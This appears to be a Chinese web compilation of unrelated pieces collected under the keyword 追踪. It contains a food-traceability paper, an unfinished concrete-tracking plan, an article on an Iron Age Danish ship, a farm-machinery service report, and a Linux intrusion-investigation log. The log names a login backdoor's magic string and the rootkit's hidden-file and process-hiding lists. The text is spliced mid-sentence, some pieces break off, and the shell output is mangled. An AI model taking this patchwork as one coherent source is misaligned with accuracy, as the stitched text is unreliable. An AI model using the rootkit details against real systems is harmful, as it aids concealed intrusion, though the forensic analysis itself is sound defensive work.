质量追踪（通用12篇）
质量追踪 篇1
人们都希望吃到安全卫生的食品, 关心自己消费的食品是否会对身体健康造成危害。因此, 如何保障食品从播种开始到消费者餐桌上的全过程中的安全, 建立有效的食品质量安全可追踪系统, 已经成为食品物流这一领域的重大课题。
一、可追踪系统的概念框架
根据欧盟对可追踪系统 (Traceability System, TS) 的定义, 可以表述为:“食品市场各个阶段的信息流的连续性保障系统”。通俗的说, 该系统是利用现代化管理技术给每个商品标上条码、保存相关的管理档案, 能够追踪食品由生产、处理、加工、流通及销售的整个过程的相关信息系统。
可追踪系统是一套有效的控制质量安全和提高效率的管理工具, 它的优点主要在以下三个方面:
第一, 信息信赖度的提升:①确保流通渠道的透明性;②能将相关信息提供给各主管机构;③提高标识的可靠性, 提升交易的公正性。
第二, 食品安全性的提升:①当产生安全事故时, 通过可追踪系统很容易寻找事故发生的原因;②通过可追踪系统可以掌握控制产品的行踪, 可以正确、迅速地进行产品召回, 将消费者的损失降到最低, 同时也使整个行业的经济损失控制到最低;③可追踪系统可以帮助搜集数据, 了解食品对消费者健康预期以外的影响, 同时有助于发展风险管理的方式。
第三, 业务效率的提升:①借助标识的信息进行产品管理、库存管理等;②增进配送路线的透明度、提高供应链效率, 增强贸易伙伴的协作性。
可追踪系统是企业或供应链内部的一种“界定产权”的交易工具。一旦有了可追踪系统, 当产品在交易双方之间完成了实物交割时, 实际上有一部分产权 (质量安全属性) 并没有完全转移出去, 交易也没有完成。只有当产品通过质检部门或消费者检验没有问题时, 产品的交易才算完成。如果发现问题, 那么通过可追踪系统, 就可以找到并惩罚相关的责任人。这样做的效率改进在于, 它提出了一个延迟权利和一个事后的惩罚机制, 从而改变了生产者的预期, 减少了事先的检测成本和相应的等待时间。同时, 通过可追踪系统能够把相关的食品安全产权界定给供应链中最初的责任人。
由于可追踪系统的这种交易和生产特性, 它的良好运行要求它能够嵌入到现有的其它交易和生产环境中去。一方面, 可追踪系统的导入往往是适应外部监管和信息的要求;另一方面, 可追踪系统的使用也对现有的交易和生产系统产生影响。这是本研究关于可追踪系统运作的概念框架。
二、可追踪系统的发展现状与趋势
目前发达国家采用的食品追溯的技术很多, 其中, 使用最多也较为成熟的技术是EAN·UCC全球统一标识系统 (即EAN·UCC系统) , 与此同时, 其它的技术如无线射频识别技术 (RFID) 、基于蛋白质、脂肪酸和DNA的物种鉴定技术、核磁共振 (NMR) 、质谱分析 (MS) 、红外线光谱法、免疫学方法、生物芯片等, 在食品“身份”鉴定方面的应用, 还处在尝试阶段。
我国的可追踪系统的开发, 大体上分成两个部分。一部分是政府开发的正规可追踪系统, 大多数是在近三年开始的, 如陕西省牛肉质量跟踪与追溯系统实用方案、浙江台州市农产品产地编码查询系统、上海市农工商超市开发的可追踪系统、山东省寿光蔬菜安全可追溯性信息系统、深圳“公司+农户”模式的蔬菜可追踪系统、南京市农产品质量安全IC卡监管系统、南京盐水鸭信息可追踪系统、西湖龙井茶可追踪系统等。另一部分是企业主导开发的可追踪系统, 相关的企业有深圳嘉农公司、温岭市箬横西瓜合作社、临海市上盘西兰花合作社、易生生物科技公司、安丘农产品外贸公司, 这些公司都是用了某种可追踪系统控制供应商的质量或安全。他们大多使用了一些纸质的标识技术, 甚至没有将其命名为可追踪系统, 但已经运作很久了。
综合看来, 政府开发人员对信息技术比较了解, 而对管理关注不够, 开发的可追踪系统只注重了对供应链内在环境和需求的适应, 但是与供应链外在的环境不相匹配, 是一种“供给”导向的系统, 难以持续运行。企业开发的可追踪系统, 则比较注重内外制度环境和企业的实际需求, 企业是为了适应市场对质量或安全的需要而建立可追踪系统, 一般采用的追溯技术比较简单。政府和企业开发的可追踪系统的实践表明, 我国当前可追踪系统的首要问题不是技术问题, 而是社会对可追踪系统有什么样需求的管理问题。追溯技术开发的空间比较少, 更多则是调整可追踪系统相应的制度环境和运行模式, 然后选择国外比较成熟的适合的追溯技术。
三、可追踪系统的运作机制分析
1.市场需求是开发可追踪系统的重要动力, 可追踪系统高效运作的关键因素是政府提供“优质优价”的制度环境, 企业主导开发的可追踪系统比政府正规的可追踪系统更有效率
可追踪系统是与外部环境的适应与互动过程中自发产生的结果。一旦外部环境有了对质量安全的压力, 例如政府监测或者市场需求, 可追踪系统就会自动出现。相反, 如果外部制度没有为建立可追踪系统提供激励, 可追踪系统不满足制度均衡的条件, 企业就没有积极性实施可追踪系统。因此, 如果企业使用的可追踪系统水平不能够保障质量安全, 则我们需要调整制度环境, 而不是强行要求企业接受新的技术。
此外, 不同企业的组织形态、流程和产品属性不同, 可追踪系统的精度、深度和宽度要求也不相同。企业会根据其效率原则和物流的实际, 开发使用不同的标识技术和可追踪系统。另外, 企业的内部经营信息还涉及商业机密, 在使用可追踪系统时, 储存的数据要求也不相同。这些微观信息是政府所不能够了解的, 因此灵活的可追踪形式更有效率。市场经济条件下, 供应链内部的管理是企业自己的事务, 正因为如此, 欧盟这样严格要求实施可追踪系统的国家, 除了作出可追踪性的法律规定, 并没有硬性规定可追踪系统的具体形式。因此, 政府为供应链开发示范性可追踪系统的意义不大。
2.可追踪系统在农产品供应链中必须有一个主动控制者, 从节约信息费用的角度, 将可追踪系统的产权配置给农产品营销企业
根据产权的定义:使用权要清晰, 收入分配权要明确, 转让权要自由。从这个概念上讲, 食品安全品质的产权应该在交易者之间分配, 而且产权应该分配给最有知识并且最有能力控制食品属性的人, 显而易见, 食品安全品质的产权应该赋予生产者而不是消费者。在供应链中, 不同的参与者对开发可追踪系统的积极性不同。根据我们的调查发现, 推动可追踪系统的实施者有这样几个特征:第一, 也是最重要的, 一旦出现安全事故, 利益最直接受损的一方, 特别是直接面对检测的一方, 有积极性推动可追踪系统的开发。第二, 具有一定实力的供应链的组织者, 也是对其所经营产品的声誉承担者和声誉收益的索取者, 组织实施可追踪的成本较低。因此, 就效率而言, 开发食品质量安全可追踪系统必然以企业为主体, 企业作为整个食品供应链中相关主体的博弈中介, 往往处于物流从极度分散到集中的关键“节点”处, 在此处检测所需的信息费用最少。另外, 在物流汇集的地方, 如果没有可追踪系统, 就很难界定清楚相关责任。
3.在现阶段小农经济为主的条件下, 基于以合作组织为基础的农产品标识与追踪系统是可行的、经济的治理模式
可追踪系统追溯的单位越小, 产权责任越明确。但是追踪精度和产权清晰度通常与界定的成本成正比, 现代社会蔬菜产业安全主要来自于种植过程的农药残留, 农药残留不稳定, 食品生产空间分散, 生产规模小, 产品滞留市场短, 消费快, 交易费用几乎无穷大, 追踪到单个行为人往往是不经济的, 因此开发可追踪系统需要确定一个适当的追踪单位。利用社会结构和经济组织进行“适度”追踪, 往往更有效率。虽然标识精度的降低可能导致责任不清, 但是合作组织可以通过一系列内部机制, 有效控制个人的机会主义行为, 这种情形在泰国和以色列也存在。
合作组作为追踪的单位之所以可能, 是因为启动了组内的四重机制:①连坐机制。合作组内成员享有共同的声誉, 承担集体连带责任。尽管在生产数量上组员各自拥有完全清晰的产权, 但是合作组拥有质量和安全的产权, 合作组类似一个联保制度, 让观察成本相对低的组员行使监督的权力, 有效节约了监督成本, 包括信息的收集成本和传输成本。一旦有了集体责任, 组内的相互监督机制立即被启动, 组内成员便有积极性监督并揭发机会主义分子。②信誉机制。在合作组模式下, 合作组成员之间、“组长”与购货商之间形成了重复博弈关系, 当事人为了合作的长远利益愿意抵制投机行为的诱惑。原本购货商与众多农户的交易, 转换为购货商与合作组、合作组与组员、组员与组员的交易, 虽然增加了交易的层次, 但是, 实际上简化了每次交易, 因为经过购货商与合作组领导的重复博弈、合作组内部的联合博弈, 投机行为能够被及时观察到, 而且合作组能够利用延迟支付的事后责任追溯机制来惩罚机会主义行为。③网络机制。选择当地人做中介, 充分利用当地人的社会资本。“组长”可以通过对社区中人品的了解和社会关系网络来降低发现投机者的成本。有的企业在以组为单位进行可追踪时, 往往给予合作组的领导人较高的报酬, “组长”因而有积极性监管, 并对“集体”进行惩罚。因此利用组内的社会网络机制, 可以有效地对小农的生产行为进行控制。同时, 合作组可以减少标签的种类、标签管理的程序和相应的物流管理成本等等。④合约机制。食品供应链中农户、合作组、营销企业之间建立一种稳固而长期的交易关系有助于机会主义行为的减少, 而通过行为主体间默认或签订契约等行为, 来提高对未来交易继续进行可能性的预期, 也有利于食品的安全供给。相对于一家一户生产模式, 合作组模式可以增加农产品供应链上不同阶段参与者之间的协作, 从而有效地对农产品的产量、质量安全进行管理。
但是, 合作组的大小有一定的限制, 组员过多则受到机会主义 (搭便车) 行为的损害, 少数人的过失导致多数人的损失;过小则增加了外部的交易成本, 交易的数量过多, 因此需要平衡可追踪的边际成本与机会主义造成的损失。越向单个农户追溯, 获得质量信息的交易成本越高, 而组织内协调成本越低;而追溯范围扩大时, 组织内部协调成本增加, 外部交易成本会呈下降趋势, 其最佳点是组织内部协调成本与外部交易成本相等的结点。
4.在同等条件下, 相对固定的供应链关系, 可追踪系统的建立成本相对较低
首先, 可追踪系统的使用, 通常伴随着一个最优的惩罚机制。如对某个合作组终止一段时间的收购。为了实施惩罚, 往往需要双方有一定的信任度, 因为农药超标很难在法庭上证实, 农户要对检测结果认责, 这种条件在随机采购关系下通常不能满足。但在相对稳定的关系下, 通过可追踪系统的社会学习功能 (学习生产技术和人际关系) , 其成员就会发展出更加紧密的联系。我们调查发现, 越接近固定的供应链形式, 其内部成员的信誉程度越高。在四种主要的农产品生产销售模式中, 农户守信情况从大到小依次为:完全一体化、“公司+农户”或“协会+农户”、蔬菜生产基地、散户, 它们分别代表正式组织、关系契约、一般经济合同、市场化采购四种经济活动形式。
其次, 相对固定的供应链关系可以在一定程度上解决契约的不完备问题。固定关系可以简化标识, 减少执行成本, 更高效的编码管理, 包装物的重复利用……。从企业角度而言, 相对固定的供应链关系背景下的可追踪系统, 较之市场化交易背景下的可追踪系统, 可以极大的降低食品的质量安全风险和不确定性。同时, 稳定的供货渠道也可以降低食品的价格风险和不确定性。
此外, 可追踪系统的建立有时候还牵涉到对农户内部生产管理的干预。可追踪系统在某些情况下, 改变了农产品营销企业与农户之间的关系。例如, 有些企业规定农户购买生产资料的渠道和种类, 要求农户记录生产作业, 甚至由企业代购生产资料, 直接干预农户的操作。在这种情况下, 相对固定的供应链关系, 可追踪系统的建立成本相对较低, 更有利于实施标识的存储、记忆和编码管理, 也便于实行延迟支付。在我们的实际调查中, 无论深圳嘉农公司还是台州黄岩区农产品购销协会, 所有现实中存在的可追踪系统都是建立在有固定供货关系的交易者之间。
5.可追踪系统必须为企业创造租金 (Premium Price) , 否则企业没有积极性使用可追踪系统
在目前阶段, 农产品价值低、标准化程度低、不耐储存, 因此标准条码的优势发挥不出来, 企业基本上不用标准条码进行结算、物流管理、财务管理和客户购货记录管理, 使得可追踪系统的运行成本高, 但为企业创造的价值低。另外, 有些可追踪系统单纯追求标识技术的“先进”与“完美”, 造成企业需要输入大量的信息, 但是企业不知道如何用这些信息。供应链外部也没有创造可追踪系统实施的环境, 导致使用可追踪系统的企业不如不使用该系统的企业, 结果即使是免费企业也没有积极性使用;或者即使企业使用, 数据的真实性无法保障;或者企业有积极性隐藏信息。有的追踪系统, 在信息输入、防伪、查询上设计得十分严密, 但是, 标识和信誉管理的对象是农户, 而农户的规模小, 没有积极性注重信誉, 政府也不可能全面检查, 消费者也不大可能投诉农药超标, 所以非常好的系统最后未能长期运行。
因此, 开发可追踪系统必须与企业的财务、物流、生产管理系统相整合, 可追踪系统只有创造租金, 企业才有积极性使用, 否则系统只能是“摆设”。为此, 我们根据深圳嘉农公司需求开发了可追踪系统, 该系统将可追踪功能、财务管理功能、物流功能整合在一起, 使得可追踪系统本身也具有质量、库存、物流、财务和客户关系等多方面管理功能。考虑到农业从业人员的文化水平较低, 记账水平低, “借”、“贷”分不清, 我们实行了会计处理后台化, 使得操作简单易行。通过对嘉农公司案例的调查发现, 嘉农公司利用可追踪系统, 同时结合自身独特的经营模式, 有效的为企业创造出租金, 主要包括三个方面:第一, 利用可追踪系统进行财务、物流等管理, 节约了企业的生产成本。第二, 通过可追踪系统进行质量监控, 提高了产品品质, 同时条码的使用给予消费者一种安全和高档的感觉, 传递出高质量的品牌信号价值。第三, 通过可追踪功能降低了对农户的监督费用 (协调成本) , 同时可追踪系统的建立产生的专用性投资, 使得公司与农户存在相互套牢的问题, 企业通过先交货后付款的形式 (延迟权利) , 可以有效减少测量, 将食品安全产权归结给农户。
由于可追踪系统与嘉农公司内部制度相适应, 因此嘉农公司利用可追踪系统提高了产品质量, 同时节约了生产成本和交易费用, 使得公司在“优质优价”的农产品市场中更具竞争力。因此, 可追踪系统是一个创造租金的制度, 应充分将可追踪系统与企业的其它系统整合起来用于管理功能。
四、结论
根据调查实践和上述分析, 我们认为蔬菜质量安全可追踪系统的运作机制可以表述为:政府为企业提供“优质优价”的制度环境, 同时通过提供有效的信号以便消费者决策, 形成市场激励和压力, 农产品企业根据自己内外部制度环境和管理需求, 自主开发可追踪系统, 通过合作组、固定供应链关系等一系列机制, 降低可追踪系统的建立成本, 同时为相关主体创造租金, 而可追踪系统的实施也将为食品安全信息体系和农产品供应链的建设提供保障, 这一系列的制度框架构成了社会理性选择新的均衡。
摘要：可追踪系统是解决食品安全问题的重要手段, 然而我国现有的可追踪系统总体效率低下。本文通过调查研究和实践开发系统的过程, 分析了可追踪系统的发展现状与趋势, 认为我国目前可追踪系统存在的核心问题并不是技术问题, 而是系统与所应用的制度环境不相适应。作者结合蔬菜质量安全问题的特点, 推演出可追踪系统的高效运作机制, 包括政府提供有效的市场激励、企业根据内外部制度自主开发系统、采用合作组织模式、选择固定的供应链关系、利用可追踪系统创造租金等, 最后概括了实施可追踪系统后社会选择的均衡框架。
关键词：可追踪系统,蔬菜质量安全,市场激励,制度关联
参考文献
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质量追踪 篇2
实施方案
一、编制依据：
《湖南省建设工程质量安全生产管理条例》
《长沙市建设工程使用预拌混凝土管理规定》
《湖南省预拌混凝土质量管理细则（试行》〉
《长沙市混凝土质量追踪和动态监管系统》
《长沙市预拌混凝土质量管理细则》及相关技术标准规定
二、实施目的为了确保混凝土结构工程安全，加大实体质量监督的力度和提高监督水平，在充分考虑目前商品混凝土质量控制和管理现状的基础上，我公司利用信息网络的最新技术手段，不断创新对商品混凝土质量的监管力式。我公司决定在望城区公安局白箬派出所交警巡逻中队业务用房建设工程项目推行使用长沙市混凝土质量追踪和动态监管网络系统。
三、系统简介
追踪野蛮足迹 篇3
公元350年，正值北欧铁器时代，一艘载有40余名武士的海船来到今丹麦南部海岸。这艘海船用橡木制造而成，具有V字形槽状船壳；船体是叠积的木架结构，两舷对称设置着许多船桨，船首和船尾尖锐而又高翘，能减少航行中的阻力。整艘橡木船体现了古代斯堪的纳维亚人典型的造船风格。船上乘坐的武士两腮长满卷曲的胡须，个个手执铁刃，身穿毛料衣，样子魁梧膘悍。你或许会猜想他们是历史上曾经威震欧、亚、非、北美，行迹遍布黑海、地中海和大西洋沿岸的北欧海盗“威金人”吧?然而你错了，作为海盗，他们也许与威金人有某些渊源，但他们在北欧海域出现的历史却比威金人还要早450年!
它为什么会在离大海2英里处
这艘海船而今被发现于丹麦东南部一片被当地人称作“内达姆莫斯”的旧沼泽地，依照亲手挖掘这艘海盗船的几位人类学家的说法，它曾经载过的那些战士，正是北欧海盗威金人的祖先。早在19世纪，人们已从沼泽地发掘出3艘木船。上溯到1700年前，内达姆莫斯还是一个内陆湖泊，到19世纪初才渐渐干涸，也就是说，这艘海盗船和那3艘木船一道，曾被长久沉埋于沼泽的淤泥之下。然而，仅凭3艘木船和随船发掘出来的那些兵器，并不能为威金人起源及北欧铁器时代历史状况的研究带来多少光亮。随着从这片沼泽地里挖掘出的人工制品越来越多，不得不对付的问题也越来越复杂，比如：这片沼泽(古代湖泊)距大海有2英里远，原本沿着海岸线航行的海船为什么以及是怎样来到这里的呢?在那样的年代，人们的生活情形是什么样子?
在试图回答这些问题时，几位人类学家凭着自己的想象，虚构了一幕幕古代海盗剧，剧中展现了这样的故事：公元350年，来自北欧某地的海盗沿北欧海岸打家劫舍，当40余名海盗来到丹麦东南海岸时，木船触到了沙地，海盗们不得不跳入冰冷的海水中。当时大雨如注，天空一片灰暗，跳入水中的海盗们用手把5吨重的海船连推带拉弄向海滩，而后步行上岸，穿过一片树林，来到一个座落在湖边的村庄。一排排茅草房庇护着村中的无数家庭和各家喂养的家畜，铁匠铺、木工房、炊烟楼散布于村民居住区。海盗们向村子发动了袭击，一个个年轻汉子从屋子里冲出来，勇猛投入战斗。村民的数量远远胜过海盗，寡不敌众的海盗们全部死于捍卫家园的村民之手。
之后，胜利的村民顺着海盗的来路向海边跋涉，他们在海滩上发现了海盗船。第二天，大家赶着大量马匹，将木船拉到陆地上，又不辞辛苦地把它拖到自己居住的湖边。而后，村民开始破坏缴获的战利品：刀剑、长矛、铁斧、佩带，以及钱币、项坠儿、钳子、指甲锉等个人物品。村民退掉木头做的长矛长柄和斧把，折断箭簇，毁掉箭杆。铁匠们拿起每把价值相当于一匹骏马的铁剑，扭弯后抛进湖里。村民们相信，湖中居住着他们的保护神，把缴获的财物作为祭品献给湖中神灵，可以向神灵表明，他们在他的保佑下打了胜仗。
村里的木匠用刀斧劈开海盗船船壳，湖水灌进去后，村民再把船推进水里。他们一边干，一边唱着献给神灵的颂歌。村人还宰掉一些马，将马尸投入湖中……海盗船和海盗们的武器就这样消失在湖水下面。
是什么力量让他们毁掉财富
“在铁器时代，湖泊就是古老村落的教堂，”正在内达姆莫斯沼泽地进行考古挖掘的丹麦国家博物馆专家皮特万·彼得森先生说，“对古人来说，盛满水的大湖是充满神秘之地。”由于深藏着许多难解的谜，浩荡的湖水也就给人类带来了神秘感，不仅在丹麦及北欧其它国家，就在德、法、英等国，古时候的湖泊也无不为蕴含着宗教意味的圣地。如亚瑟王之剑“埃克斯坎里伯”的神话，或许就来自这样的湖泊吧。
埋藏海盗船的沼泽地有棒球场那么大，四周是牛粪味飘荡的牧场和成片的麦田、油菜地。彼得森先生站在齐胸深的考古发掘坑内，坑的四壁全是像沥青一样黑的泥土，他用沾满脏土的手握着一截朽烂的木棍，那是古代海盗用过的长矛断柄。
“你知道内达姆真正的秘密在我看来是什么吗?”彼得森对同伴说，“我在想，究竟是什么力量，让古人亲手毁掉了这么多的财富。我们发掘出来的这些东西，在当时都是非常昂贵的人工制品。对于铁器时代的男人，一把剑相当于今天的男人拥有的一辆像样的小汽车，它是威望与尊严的象征。”
只是神灵的力量吗?人们不禁心生疑虑。
是贫穷惹的祸吗
历经多个世纪，大量淤泥被冲进内达姆湖，它们覆盖了那些祭品，使它们免遭氧化和细菌侵蚀。大量的木头已变得松软，像茶水泡过的饼干。到了19世纪60年代，湖已被泥填满，坚固得甚至可以在上面行走。当地农民常在沼泽地挖掘泥炭当燃料烧，他们偶然中发现了那些深埋的武器、银币和木板。稍后，一位名叫康拉德·因吉哈得的丹麦考古学家在此发掘到了3艘船的部分船体，它们都属于铁器时代，2艘是橡木制做的，1艘是松木的，其中两艘被连在一起沉入湖底．另一艘则裂成了零散的碎片。1864年，内达姆莫斯及其周围地区被普鲁士占领。1877年，两艘橡木船中较大的一艘——也是惟一被修复成原样的一艘，被普鲁士人运到了德国的吉尔镇。目前，它仍被存放于德国什勒斯威格市的兰德斯考古博物馆。内达姆沼泽地淤泥的长久掩埋，已使它在鞣酸作用下变得乌黑发亮，颇像磨光后的大理石。船身长约75英尺，德国人用金属绳收束着船体。整艘船被陈列在一个可以转动的圆形展台上，一间比篮球场还要大的大厅罩着展台和它上面的海盗船。
“这艘木船是一艘战船，”德国考古学家米切尔·盖勃说，“它曾经被海盗们乘坐着沿欧洲海岸杀人放火，不过，从它被发现那天起，它对国际关系的破坏作用恐怕比海盗们的还要大。”盖勃是德国汉堡大学的一名教授，现受有关方面委派，负责缓和因这艘“海盗船的归属权问题”在德国人和丹麦人之间引起的纷争，这是一个微妙的差使。面对前来参观的人，盖勃闭口不谈船的所有权问题，而是大谈特谈铁器时代欧洲人的生活如何不安定。他认为，这样的橡木船在当时除被用来运送海盗之外，还可能用来运送逃难的移民。
盖勃确信，在公元1～2世纪，包括德国、丹麦在内的欧洲在社会财富和人口方面的增长都比较稳定，生活相对富足，德国和北欧之间往来贸易极其频繁。但一场恶劣的气候改变了一切，寒冷、潮湿天气持续数10年后，内陆布满了沼泽湖泊，大量良田不复存在。此时．从南部迁来的部落控制了德意志人，商品贸易和经济发展因此受到阻碍。“这便是居民迁移、海盗滋生的主要原因，从公元320年起，什勒斯威格一赫尔斯汀一带的居民开始乘海船逃往英格兰群岛，寻找新的生存之地。”然而，400多年后为什么仍有那么多的威金人群起而成为海盗?仍然是社会财富的贫乏吗?
为何450年后他们才懂得利用风
数百年后，北欧海盗威金人的造船匠沿用了内达姆海盗船的设计原理，并进一步改进了船壳结构。前者船体大得多，船脊的两侧到舷缘之间也明显比后者鼓出得多更为重要的改进是，无论吃水深度还是露水面以上部分，威金船比内达姆船都要多，船帆在空中迎着风力，船脊在深水下面可以起平衡作用，它体现出的造船技术更加适宜于远洋航行，这使得威金海盗船可以进行横跨大西洋的远航，而内达姆船只能在近海航行，它最远只能实行英吉利海峡的穿越。“从内达姆沼泽地挖掘出的海盗船，要比几百年后威金人用的海船原始、落后得多，”丹麦国家博物馆考古学家、内达姆沼泽考古工作总指导弗莱明·里克说，“而最值得注意的区别是，威金人的海盗船既有桨也有帆，内达姆出土的海盗船则只有桨没有帆，后者只能划行，不能凭借风力作顺风航行。”
里克站在距内达姆莫斯2英里远的阿尔斯桑得海滩上，把双臂伸进眼前的风中划动着，继续说：“对比后可以发现，斯堪的纳维亚人是最早使用船帆的民族。至今没有人能够解释，为什么过了那么久，他们才懂得利用这空气中到处存在的风的力量。”
里克曾经建造过2艘仿真的威金船，并乘坐着出海航行过，体会过划桨和顺风扬帆的乐趣。现在，他又打算根据自己对内达姆海盗船原理的理解，仿造一艘更早出现于北欧的这种无帆船。“内达姆船两叶桨片之问的宽度是20英尺，吃水深度是28英寸，如果海盗们当年沿着附近一条河道袭击村民，他们能很快得手，并能迅速撤走。”
家在何方，魂归何处
考古学家们推测，内达姆海船上乘坐的40余名武士可能来自斯堪的纳维亚半岛的某个部落，但奇怪的是，人们在挖掘中一直没有发现他们的骨头，这些海盗难道是被火葬了?同时，也没有证据表明他们是加入到当地人中随他们迁走。或许正如有人虚构的故事那样，交战后，部分幸存者被允许把战死者的尸体运回家乡，依照里克先生的猜测，40余名海盗的家乡可能在距内达姆莫斯北部非常远的地方。
“橡木海盗船上所用的橡树木板，不属于公元三、四世纪丹麦南部或英格兰岛生长的树种，”里克说，“但在瑞典南部，巴尔蒂克海岸，以及丹麦北部地区，却大量生长着那种树木。至于那艘松木船，我想它是来自瑞典东部，由船身板材来看，在那个年代，丹麦根本不生长直径那么大的松树。”
质量追踪 篇4
我国农机产品质量如何?新技术给农机质量带来了什么样的保障?面对国外产品的冲击, 我国农机产品又该如何进一步提升质量水平?本报今日起推出秋播农机质量追踪系列报道, 试图对上述话题进行探讨。
近日, 河南省武陟县在北郭乡城子村黄河滩区早玉米示范田里, 举行了三秋机械化生产暨玉米机收现场演示。
“才耕了不到一亩地就坏了。”今年7月, 山东的王先生在当地农机经销商处购买了一台旋耕机, 秋播之际出现问题后, 王先生希望通过售后服务尽快修好农机。“当时找了经销商, 但是经销商说他不负责, 让和厂家联系, 厂家又让找经销商, 就这样互相推卸责任, 机器现在也没法用。”近日, 王先生向某专业农机网站投诉时说。
每到春耕秋收等农忙时节, 农机往往成为耕田的主角、农民的好帮手。尤其是近几年, 随着农机购置补贴政策力度的加大, 农机销量大幅提升。业内人士指出, 与快速增长的销量相比, 农机售后服务质量却未能跟上农机行业的发展速度。农机厂商的售后服务常常缺位或不到位, 关键时刻“掉链子”。素有“铁牛”之称的农机农忙时只能“趴”在农田里, 不仅没能帮上忙, 反而帮了倒忙。
与山东王先生有相似遭遇的用户不在少数。河北的张先生去年6月购买了一款玉米收获机, 机器工作约20小时后, 发动机动力输出部位开始漏油。张先生立即致电售后服务站, 在报修后的第5天, 服务站才派人来维修。机器修完后工作了不到10个小时, 在同样的部位又出现了同样的问题, 王先生再次拨打了售后服务电话, 直到今年6月, 机器已过保修期, 仍没有人员上门维修。辽宁的韩振江在今年3月份购买了一台微耕机, 用了两天, 机器就打不着火了, 给经销公司打电话, 让自己修。韩振江4月在某农机网站投诉时称, 买的时候公司说保修保换, 可现在就不管了, 马上就种地了, 茬子还没打完呢。
农业部南京农业机械化研究所农机化发展研究中心张宗毅博士表示, 当前, 随着购机补贴的量越来越大, 销售量激增, 售后服务跟不上。各地一般是经销商负责售后服务工作, 服务水平与能力参差不齐, 加上经销商往往分布在县级城市, 农机若出现大毛病, 往往需要厂家出面解决, 肯定要等几天。农忙时节必然耽误农业生产。
售后服务做得好与坏, 往往直接影响到厂商的声誉。随着农机市场竞争的加剧, 除了拼产品质量外, 越来越多的厂商开始看重售后服务。记者查询一些农机企业的官网发现, “服务中心”一栏往往是大型农机生产企业官网首页的必备项, 消费者可以直接点击查询服务网点及服务热线。比如, 中国一拖集团有限公司的“金色服务”、福田雷沃国际重工股份有限公司的“服务与配件”、山东五征集团有限公司的“服务中心”。但也有一些农机企业在售后服务上做得不够精细, 不够人性化, 特别是一些小型农机企业, 没有可供查询售后服务信息的官网, 有些甚至连售后服务电话也搜不到, 更别谈服务网点的整体覆盖了。
中国农业机械工业协会产品宣传委员会副秘书长于帅说, 服务被厂商看做是能够取得用户信任的重要手段, 一些农机大企业非常注重在服务上下功夫。我国农机企业有近1万家。其中, 2000多家规模以上的企业, 服务相对比较完善, (下转9页) (上接23页) 但也存在一些问题, 比如, 2000万元至1亿元之间产值的企业, 一般将重心放在主抓市场营销上, 对售后服务重视不够。
业内人士指出, 农机用户对于厂商售后服务质量最直观的感受, 往往是其服务的反应速度, 尤其是在农忙时节, 农机“罢工”后, 用户对于机器及时恢复工作的迫切心情可想而知, 而此时往往也是考验厂商售后服务质量的关键时刻。据于帅介绍, 第一农资网曾做过一项关于农民购买农机意向的调查, 结果显示, 255个受访对象中, 超过50%的人将农机作为投资赚钱的工具, 即很多用户购买农机后, 想的是在农忙时节, 利用机器给一些所谓的“散户”农民耕种收割, 从中赚钱。如果此时农机突然坏了, 加上厂商售后服务跟不上, 不能及时修好机器, 就等于是从农机用户手中“抢钱”。
如何改变目前农机维修难的现状, 提高售后服务质量?有业内专家认为, 应建立村级“农机医院”。各级农机主管部门要重视农机维修工作, 把它列入农机化发展规划。同时争取农机维修工作的扶持政策, 将农机维修设备购置纳入农机购置补贴的范围, 对村级农机维修点实行减免税收等扶持政策。农机生产厂家要做好“三包”服务工作, 使村级农机维修点方便农民, 做到农机小修不出村、大修不出乡镇。
一些农机企业也在不断探索售后服务理念。比如某农机企业有自己的一套绩效评价体系:70%与用户满意度挂钩, 30%取决于管理水平。同时, 坚持对服务百分百验证, 不但对所有用户进行回访, 连每一个故障也都要回访, 在服务上紧扣最终用户的满意度。
网上追踪 篇5
又没有改/etc/ftpusers让人轻易的利用wuftpd26的远程漏洞用匿名用户进入了我的机器，
网上追踪
。不过这位朋
友显然未加考虑的使用了rootkit，结果造成ps输出的结果是这样：
[root@ns]#ps
PIDTTYSTATTIMECOMMAND
6781S0:00/sbin/mingettytty1
6792S0:00/sbin/mingettytty2
6803S0:00/sbin/mingettytty3
6814S0:00/sbin/mingettytty4
6825S0:00/sbin/mingettytty5
6836S0:00/sbin/mingettytty6
5557?S0:00/bin/sh-i
5591?R0:00ps
这样的输出结果我想谁看了都知道是个什么意思。那么就让我们一步一步看看他做了些什么吧
[这位hack没有想到这机器已经早有主人了，并且安装了自己的rootkit工具包]
[root@ns]#strings/bin/login|more
..........
__bss_start
_end
PPRV
DISPLAY
/bin/envpc
l4m3r0x
/bin/sh
从上可以看出是个login后门，通过exportPATH=“l4m3r0x”后，直接telnet对方就能得到#
[root@ns]#strings/bin/ls|more
.....
always
/usr/local/share/locale
fileutils
GNUfileutils-3.13
vdir
%s-%s
/dev/sgk/.fsdc/.1file
//DIRED//
//SUBDIRED//
POSIXLY_CORRECT
COLUMNS
注意看了，/dev/sgk/.fsdc/.1file这就是他rootkit文件放的位置了,那么让我们看看那儿都有些什么吧
[root@ns]#mv/dev/sgk/.fsdc/.1file/tmp
[root@ns]#ls-la/dev/sgk/.fsdc
total641
drwxr-xr-x5rootftp1024Feb409:01.
drwxr-xr-x3rootftp1024Feb217:11..
-rw-r--r--1rootftp7Feb217:11.1logz
-rw-r--r--1rootftp88Feb217:11.1proc
drwxr-xr-x2rootftp1024Feb217:11backup
drwxrwxr-x2lujianglujiang1024Feb217:14clean
-rwxr-xr-x1lujianglujiang5578Nov1811:08filetrans
-rwxr-xr-x1lujianglujiang9396Aug23killall-real
-rwxr-xr-x1lujianglujiang7578Aug2117:22parse
-rwxr-xr-x1lujianglujiang6232Sep91999parse1
drwxrwxr-x2lujianglujiang1024Jan2816:34patches
-rwxr-xr-x1lujianglujiang28004Aug231999ps-real
-rwxr-xr-x1lujianglujiang580696Feb18ssh
-rw-r--r--1rootftp1398Feb408:55system
呵呵，看来东西还真不少，从ftp可以知道他是利用的ftP漏洞，从lujiang知道他还窃取了个本地用户
[root@ns.fsdc]#cat.1logz
rshd
[root@ns.fsdc]#cat.1proc
3nscd
2nmap
2lscan
2login
2lpset
2xtty
2nscd
3statd
3lpq
3scan
3sniff
3envpc
[root@ns.fsdc]#cat/tmp/.1file
sgk
.fsdc
.clib
.1proc
.1addr
.1file
.1logz
envpc
xtty
pttys
filetrans
lpset
libload
system
parse
.1logz是被syslogd调用，隐藏所列出命令所产生的记录.
.1proc被ps命令调用.隐藏所列出的进程名称
.1file被ls,find命令掉用.隐藏所列出的文件名，
[root@ns.fsdc]#cdpatches
[root@nspatches]#catpatch.sh
#!/bin/sh
